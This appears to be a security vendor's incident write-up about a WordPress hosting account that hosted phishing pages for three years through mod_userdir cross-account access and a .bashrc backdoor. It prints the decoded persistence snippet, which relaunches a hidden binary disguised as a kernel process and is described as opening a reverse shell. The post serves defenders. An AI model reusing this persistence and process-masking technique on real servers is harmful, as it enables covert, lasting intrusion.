The 3-Year Invisible Breach: When Your WordPress Hosting Provider Becomes the Threat

How a shared hosting account served phishing pages for three years without the client ever knowing, and why a system-level backdoor makes ordinary website cleanup impossible.

In November 2025, our team at Securewp was asked to investigate suspicious login activity on a WordPress site. On the surface, it looked like a standard compromise. A deeper forensic audit told a different story. This wasn’t a new infection. The client’s hosting account had been quietly serving phishing infrastructure for over three years without anyone noticing.

The Anomaly: A Referer Header That Revealed a Cluster-Wide Infection

The investigation started when the client noticed unrecognized admin login activity in November 2025. But when we reviewed the access logs and cross-checked external reputation data, the timeline didn’t line up with a recent hack.

The account had been harboring malware since at least 2022.

Here’s how that happened. The client’s actual websites were set up as add-on domains, meaning their files lived outside the main public_html directory. That left the default public_html folder empty and effectively forgotten. The attacker took advantage of exactly that: a phishing kit was planted inside the unused folder, and because the client never had a reason to check it, the files sat there undisturbed for years.

The clearest evidence came from Google Safe Browsing records, which showed blacklisting entries dating back to March 2022, and not just against a domain. Google had blacklisted specific URL paths that included the client’s hosting username:

http://[neighbor-domain].com/~client_username/secure-login.php

That path is the key detail. The phishing pages were being viewed through other, unrelated domains on the same server, but the malicious files were physically stored on the client’s own account, and had been for years.

Technical Analysis: How the Backdoor Survived Every Cleanup Attempt

The public_html folder hosted the phishing content itself, but the attacker still needed a way back in even if passwords changed. They got that by compromising the server’s operating system directly, not just the WordPress install sitting on top of it.

The .bashrc Persistence Method

The attacker modified the account’s .bashrc file, a standard Linux script that runs automatically every time a user logs in by shell. The added line was disguised as a harmless system comment:

# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
[base64-encoded-string]

To anyone glancing at the file, that reads like a random number generator seed. Decoding the base64 string told a different story. The payload:

1. Checked whether a process named “defunct” was already running.
2. If not, launched a binary hidden at /home/[username]/.config/htop/defunct.
3. Used process name masking to disguise itself as [slub_flushwq], a name built to look like a legitimate Linux kernel process.

# Kill any existing defunct process
/bin/pkill -0 -U1033 defunct 2>/dev/null ||
# If not running, start it with disguised name
(TERM=xterm-256color GS_ARGS="-k /home/[username]/.config/htop/defunct.dat -liqD"
exec -a '[slub_flushwq]' '/home/[username]/.config/htop/defunct' 2>/dev/null)

The command ran silently, suppressed all error output, and relaunched the attacker’s reverse shell connection every single time the account owner or an admin logged in to the server.

Weaponizing a LiteSpeed Default

The server ran LiteSpeed Web Server, which maintains Apache compatibility, including mod_userdir. LiteSpeed often ships with this enabled by default, allowing access to any account’s files through a URL like http://server-ip/~username/, and the hosting provider never disabled it on this shared environment.

That single setting is what let the attacker configure dozens of other compromised sites on the same server cluster to pull phishing content straight from the client’s infected public_html folder. The setup worked well for the attacker precisely because of how it split the risk:

• The host: the client’s account stored the malware in a folder they never used. Their actual live sites stayed completely clean, so nothing ever triggered an alarm on their end.
• The neighbors: other accounts on the same server displayed the phishing content. When one neighbor domain got blacklisted, the attacker simply pointed to another, while the files themselves never moved from the client’s account.

Why This Attack Defeats Standard Security Practices

• Invisible to WordPress plugins: the backdoor lived in .bashrc, at the operating system layer. No WordPress-side security plugin has visibility into that.
• Survives a clean reinstall: deleting everything in public_html and reinstalling WordPress from scratch wouldn’t have touched the .bashrc backdoor, which would simply reinfect the site the next time someone logged in.
• Ignores password changes: a running system process doesn’t care whether the WordPress admin password or hosting password changes. The attacker’s access point was independent of any credential.
• Hides in plain sight: named [slub_flushwq], the process was built to blend into a normal process list. Most admins scanning running processes would assume it was routine kernel activity and move on.

Why It Took Three Years to Notice

1. The disguise worked as intended. Using add-on domains kept the main public_html directory empty from the client’s perspective, so there was never a reason to look inside it.
2. The hosting provider missed years of warning signs. Google Safe Browsing had been flagging their IP range for years, and cross-account file access, a clear mod_userdir exploitation signal, went unmonitored.
3. Shared hosting has a built-in blind spot. Customers on shared infrastructure can’t see other accounts’ running processes. The client had no way to know their files were being accessed by unrelated domains.
4. Nobody was checking file integrity at the system level. A basic integrity check on .bashrc would have flagged the modification immediately. That check never happened.

The Fix: Secure Migration, Not Cleanup

Because the compromise lived in the operating system rather than the website files, cleaning the existing hosting account in place wasn’t a realistic option. We moved to a secure migration instead:

1. Forensic preservation: documented the logs and the decoded .bashrc payload as evidence before touching anything.
2. Clean build: deployed a fresh WordPress installation on a verified hosting environment with mod_userdir disabled and proper account isolation enforced.
3. Selective migration: moved only the clean add-on domain content across, leaving the infected public_html directory and compromised system files behind entirely.
4. Hardening: put a web application firewall and file integrity monitoring in place on the new environment.

The client has had no further incidents since the migration.

Key Takeaways for Website Owners

This case is a reminder that WordPress security has a ceiling: your site is only as secure as the server underneath it.

1. Check your unused directories. Attackers specifically look for abandoned folders like an empty public_html on an add-on domain setup. If you’re not using it, make sure it’s actually empty.
2. Check your own reputation. Search your hosting username or server IP against blacklist databases. It’s possible to be an unwitting host for a phishing network without a single one of your own pages being touched.
3. Ask your host about mod_userdir. If you’re on LiteSpeed or a similar server, ask directly whether it’s disabled. If a neighboring account can load files from yours, your hosting environment isn’t isolated.
4. Ask whether system files get scanned. Most hosting providers scan for malware in your website files. Far fewer check system-level files like .bashrc for unauthorized changes, which is exactly where this attack lived.

This is also a good illustration of where a WordPress security plugin’s job ends. Tools like SiteFort are built to catch malware, backdoors, and hardening gaps inside WordPress itself, and they do that well. A backdoor planted at the operating system level, outside WordPress entirely, needs a different kind of investigation. If you want to understand how WordPress-level backdoors typically work and how to close them, see our guide on finding and removing a WordPress backdoor.

Is your site showing signs of a persistent, unexplained compromise? If you suspect the problem goes deeper than the website itself, don’t rely on an automated cleaner to fix it. Contact Securewp for a full forensic assessment and, where needed, a secure migration.